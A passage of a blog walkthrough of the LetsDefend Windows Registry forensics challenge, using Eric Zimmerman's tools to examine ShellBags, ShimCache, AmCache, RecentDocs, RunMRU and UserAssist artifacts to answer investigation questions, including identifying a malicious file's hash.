Address&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/90ee711507710d911b8d6735b48e0f8a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-we-suspect-that-the-user-may-have-some-video-games-on-their-work-pc-what-is-the-name-of-thegame&#34;&gt;Question 4: We suspect that the user may have some video games on their work PC. What is the name of the game?&#xA;&lt;/h3&gt;&lt;p&gt;Based on what we&amp;rsquo;ve learned so far, it seems logical that checking the &lt;code&gt;Software\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt; key would be the best place to identify installed applications. But what if a game isn&amp;rsquo;t actually installed or the directory has been deleted? Can we find any evidence that it existed on the system with only a registry hive?&lt;/p&gt;&#xA;&lt;p&gt;To determine if the user had any games installed on the work device we&amp;rsquo;re investigating, we&amp;rsquo;ll need to take a different approach searching for evidence. Let&amp;rsquo;s check the &lt;strong&gt;Question 4&lt;/strong&gt; hint for some guidance:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/e2b334076498bc3aa837f3f60ca9b090_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s start with some background on what &lt;strong&gt;Shellbags&lt;/strong&gt; are and what the &lt;strong&gt;UsrClass&lt;/strong&gt; hive is. For a deeper insight, we&amp;rsquo;ll lean on the extremely thorough explanation from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Shellbags are a set of registry keys that store information about the view settings and preferences of folders as they are viewed in Windows Explorer.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Windows creates a number of additional artifacts when storing these properties in the registry, giving the investigator great insight into the folder, browsing history of a suspect, as well as details for any folder that might no longer exist on a system (due to deletion, or being located on a removable device).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, putting all this together for our purposes, we may be able to find evidence of a folder containing a game by exploring the shellbags stored within the &lt;strong&gt;UsrClass.dat&lt;/strong&gt; hive.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we can leverage another of Eric Zimmerman&amp;rsquo;s tools, &lt;strong&gt;ShellBags Explorer.&lt;/strong&gt; This utility is a &amp;quot; # &amp;ldquo;GUI for browsing shellbags data. Handles locked files&amp;quot;and is already available in the &lt;code&gt;Tools&lt;/code&gt; folder — very handy!&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and launch the utility, then press &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;File&amp;rdquo;&#xA;and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Load offline hive&amp;quot;&#xA;. Select the UsrClass.dat hive from the following directory: &lt;code&gt;C\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/f3377ace7b53bc3ee5f973a21a21d034_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ShellBags Explorer: Identifying the video game&lt;/p&gt;&#xA;&lt;p&gt;After exploring the available artifacts with ShellBags Explorer, we&amp;rsquo;ll stumble upon the folder &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Rainbow Six Siege&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; a popular online game, and the answer to &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/47f38f159bbd2a400993a60e167b6d36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-there-was-a-file-that-got-executed-from-the-downloads-directory-what-is-the-modification-time-of-the-saidfile&#34;&gt;Question 5: There was a file that got executed from the Downloads directory. What is the modification time of the said file?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing forward, our next task is to discover the modification time of a file executed from within the Downloads directory. To do this, we&amp;rsquo;re going to analyze the &lt;strong&gt;Application Compatibility Cache (AppCompatCache)&lt;/strong&gt;, part of the SYSTEM registry hive.&lt;/p&gt;&#xA;&lt;p&gt;But first, some context. In a Windows-based system, the AppCompatCache is used to track compatibility with older apps in newer versions of Windows. At first glance, this doesn&amp;rsquo;t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, we&amp;rsquo;ll refer to another post from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt; to explain the AppCompatCache further_:_&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;ShimCache, also known as the Application Compatibility Cache, is a feature in Windows designed to maintain compatibility for applications running on newer operating systems. &lt;strong&gt;It tracks the execution of applications, whether they were executed recently or in the past.&lt;/strong&gt; ShimCache is part of the AppCompat framework, which Windows uses to ensure compatibility with older applications.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay! Now we&amp;rsquo;re getting somewhere. To retrieve this information, we&amp;rsquo;ll pivot to another of Eric Zimmerman&amp;rsquo;s tools, &lt;strong&gt;AppCompatCacheParser&lt;/strong&gt;, to parse the SYSTEM registry hive and interpret the execution time of the file from the AppCompatCache. This tool is available in the analysis environment under this directory: &lt;code&gt;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example, we can execute the tool from the &lt;strong&gt;Windows Command Prompt&lt;/strong&gt; with the following command to generate a CSV file for us to analyze:&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe&amp;rdquo; -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\config\SYSTEM&amp;rdquo; &amp;ndash;csv &amp;ldquo;C:\Users\LetsDefend\Desktop&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;650px&#34; data-flex-grow=&#34;271&#34; height=&#34;295&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/ac83dfe2e0181b96aada4ac062dac08f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Running AppCompatCacheParser.exe from Command Prompt&lt;/p&gt;&#xA;&lt;p&gt;Once the CSV file is generated, we&amp;rsquo;ll open it with yet another Eric Zimmerman tool, &lt;strong&gt;Timeline Explorer&lt;/strong&gt;. This tool is a CSV viewer with robust filtering and sorting capabilities. For our purposes, we can use it to filter the &lt;code&gt;Path&lt;/code&gt; column for the keyword &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Downloads,&amp;quot;&#xA;since this is the directory we want to focus on, to find that there is only one result.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll need to check the column to the left, &lt;code&gt;Last Modified Time UTC&lt;/code&gt;, to identify the answer to &lt;strong&gt;Question 5&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/871ca41cbeba1e5f904175d2ce27ce4e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Filtering the Download Path&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/16570d40eb5821e2c3e455c695cfbcbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-we-believe-that-the-user-may-have-installed-some-malicious-files-on-their-work-pc-what-is-the-sha1-hash-of-the-malicious-file&#34;&gt;Question 6: We believe that the user may have installed some malicious files on their work PC. What is the SHA1 hash of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, we need to identify the SHA1 file hash of a malicious file installed on the PC. The first step here is to determine which file is malicious. To do this, we&amp;rsquo;re going to check the &lt;strong&gt;AmCache hive&lt;/strong&gt; to gain an understanding of the files that have been executed on the system.&lt;/p&gt;&#xA;&lt;p&gt;If you read the entire reference article from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt; in the previous question, you may have seen a reference to this hive already. If not, here is an overview of the forensic significance of the AmCache hive from their blog:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;AmCache is one of the most significant and detailed artifacts available to forensic investigators on modern Windows systems. Introduced in Windows 8, AmCache provides a wealth of information about executables and DLLs that interact with the system, recording key metadata which helps investigators piece together a forensic timeline of program activity. Unlike ShimCache, which captures metadata at shutdown, AmCache provides live data and tracks when files were first executed, making it a more reliable indicator of execution.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Perfect! This sounds like exactly the right place to be searching. In our analysis environment, we can locate the AmCache hive in the following directory: &lt;code&gt;C:\Windows\AppCompat\Programs\Amcache.hve&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How do we parse this, you might be asking? At this point in the investigation, it will come as no surprise that we are going to leverage another Eric Zimmerman tool. This time we&amp;rsquo;ll use &lt;strong&gt;AmcacheParser&lt;/strong&gt; using a similar syntax to the previous question. For reference, I&amp;rsquo;ll leave an example below to output the results to CSV:&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AmcacheParser.exe&amp;rdquo; -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\AppCompat\Programs\Amcache.hve&amp;rdquo; &amp;ndash;csv &amp;ldquo;C:\Users\LetsDefend\Desktop&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/56f1656c3a8cb4f391e56d829c4275cc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Running AmcacheParser.exe from Command Prompt&lt;/p&gt;&#xA;&lt;p&gt;A difference between the output of AmCacheParser versus AppCompatCacheParser is that there are several files created. For the purposes of our investigation, we need to focus on the unassociated file entries CSV file, &lt;code&gt;DATE_Amcache_UnassociatedFileEntries.csv&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Open the file in Timeline Explorer and find the &lt;code&gt;Full Path&lt;/code&gt; column. Sift through the displayed executable paths, looking for anything that sticks out as strange. You may have also noticed this file when we were exploring the shellbags back in &lt;strong&gt;Question 4&lt;/strong&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/3f04c7530410a3d96427e736fccd1de7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the Malicious File Path&lt;/p&gt;&#xA;&lt;p&gt;This executable looks a little suspicious, doesn&amp;rsquo;t it? Let&amp;rsquo;s collect the SHA1 file hash from the column to the left, &lt;code&gt;SHA1&lt;/code&gt;, and check if we&amp;rsquo;ve identified the correct file.&lt;/p&gt;&#xA;&lt;p&gt;f7910c5a92168453106e4343032d1c5ca239ce16&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/7c386ea9ba237191144a75b6452b79f1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-malware-family-name-of-the-previousfile&#34;&gt;Question 7: What is the malware family name of the previous file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified a potentially malicious file and acquired its SHA1 hash, let&amp;rsquo;s pivot out to &lt;a class=&#34;link&#34; href=&#34;http://gather%20some%20additional%20intelligence&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to gather some additional intelligence, and check if this file hash has been observed before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;633px&#34; data-flex-grow=&#34;264&#34; height=&#34;303&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/e7746d69a535327ee5ae92c02555e411_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After submitting the hash, we can determine that the file is indeed malicious based on the number of antivirus hits. We can also refer to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;family labels&amp;quot;&#xA;tag to determine the malware family name to answer &lt;strong&gt;Question 7&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/926370ef4e2d006b6c8877007cc6d79f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-user-opened-a-file-on-20240506-063909-on-their-work-pc-what-is-the-name-of-thatfile&#34;&gt;Question 8: The user opened a file on 2024€“05€“06 06:39:09 on their work PC. What is the name of that file?&#xA;&lt;/h3&gt;&lt;p&gt;To identify the file opened on the specified date/time, we&amp;rsquo;ll need to jump back to Registry Explorer and load the &lt;strong&gt;NTUSER.DAT&lt;/strong&gt; artifact. This hive can be located at: &lt;code&gt;C\Users\LetsDefend\Desktop\ChallengeFile\C\Users\Administrator TUSER.DAT&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Again, we&amp;rsquo;ll open this hive by selecting the &lt;code&gt;NTUSER.DAT&lt;/code&gt; file and holding SHIFT when opening it to replay the transaction logs. Once the hive is loaded, we&amp;rsquo;ll use the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;RecentDocs (Recently opened files by extension)&lt;/strong&gt;&amp;quot;&#xA; bookmark to view the &lt;strong&gt;RecentDocs&lt;/strong&gt; key which tracks recent file and folder activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;511&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/c73e24decbf5aa3b8d6453ac7e4baa8c_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the RecentDocs bookmark&lt;/p&gt;&#xA;&lt;p&gt;Sort the results by the &lt;code&gt;Opened On&lt;/code&gt; column and match the date from the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/28f121199098addf6e72b70872618e66_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the file for the specific date/time&lt;/p&gt;&#xA;&lt;p&gt;Using the RecentDocs key, we can determine that the file &lt;code&gt;Note.txt&lt;/code&gt; is the file of interest to answer &lt;strong&gt;Question 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/bf487c16b136b27095b587fbee1a5cdb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-the-user-opened-mspaint-on-their-work-pc-can-you-determine-the-exact-time-it-happened&#34;&gt;Question 9: The user opened MSPaint on their work PC. Can you determine the exact time it happened?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 9&lt;/strong&gt;, we now need to determine the exact time a user on the system opened MSPaint. To accomplish this, we&amp;rsquo;ll continue using the available bookmarks to search against the &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive, this time selecting the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;RunMRU (Most recently run programs)&lt;/strong&gt;&amp;quot;&#xA; bookmark.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;, the &lt;strong&gt;Most Recently Used (MRU)&lt;/strong&gt; artifacts &amp;quot; # &amp;ldquo;are a variety of artifacts tracked by modern Windows operating systems that provide crucial details regarding the user&amp;rsquo;s interaction with files, folders, and programs that may have been executed using the Windows Run utility.&amp;ldquo;So, by browsing this key we may be able to identify where the user launched Microsoft Paint using the run utility.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;513&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/2a6e9361f9660f4fdfc0a63de86f9c75_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the RunMRU bookmark&lt;/p&gt;&#xA;&lt;p&gt;Once the key has loaded, we&amp;rsquo;ll locate the &lt;code&gt;mspaint&lt;/code&gt; executable and find the timestamp we&amp;rsquo;re searching for in the &lt;code&gt;Opened On&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;512&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/20822a952f74ee4f8f11d4037063b623_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Opened On&amp;rdquo;&#xA;date/time for MSPaint&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/7bd80bb020593f144472ac27d214dc89_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-can-you-find-out-how-long-the-user-had-mspaintopen&#34;&gt;Question 10: Can you find out how long the user had MSPaint open?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question! Now that we&amp;rsquo;ve identified when MSPaint was opened, we&amp;rsquo;ll now need to continue analyzing the &lt;code&gt;NTUSER.DAT&lt;/code&gt; hive to determine how long the application was open. For this task, we&amp;rsquo;ll use the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UserAssist (Recently accessed items)&lt;/strong&gt;&amp;rdquo;&#xA;bookmark to analyze the artifacts.&lt;/p&gt;&#xA;&lt;p&gt;For the last time, let&amp;rsquo;s reference &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/artifact-profile-userassist/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt; to learn more about these artifacts:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;UserAssist is a feature in Windows that tracks the usage of executable files and applications launched by the user. It stores this information in the Windows Registry, which can be accessed by forensic analysts to reconstruct a timeline of application usage and user activity.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/eb3c4ee3bd96e69fa5d6ffd3e4f5cb44_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the UserAssist bookmark&lt;/p&gt;&#xA;&lt;p&gt;After selecting the bookmark, we&amp;rsquo;ll see quite a few entries. To narrow it down, we can type &amp;quot; # &amp;ldquo;paint&amp;quot;into the &lt;code&gt;Program Name&lt;/code&gt; field to filter the results. After that, we can see the total time the application was open in the &lt;code&gt;Focus Time&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/e55a7422b2a51f5f8d6f1469fed87d10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Focus Time&amp;rdquo;&#xA;for MSPaint&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s submit the answer and wrap up our investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/13b80a5fd1131abeced52166f320fb2e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;598px&#34; data-flex-grow=&#34;249&#34; height=&#34;321&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/db8d78c37a2f32825c4c54872ff16ddd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! By leveraging Eric Zimmerman&amp;rsquo;s tools to analyze the Windows Registry image, including the SAM, SOFTWARE, SYSTEM, UsrClass, AmCache, and NTUSER hives, we&amp;rsquo;ve successfully navigated this investigation. Throughout this challenge, we&amp;rsquo;ve identified device details, application information, and even found evidence of malware on the device, all while gaining a deep understanding of several forensic artifacts within the registry. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows Registry&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another awesome and engaging lab, and a shout out to &lt;strong&gt;Magnet Forensics&lt;/strong&gt; for their fantastic blog, which was crucial in helping contextualize this investigation and providing deep insights into the registry forensics 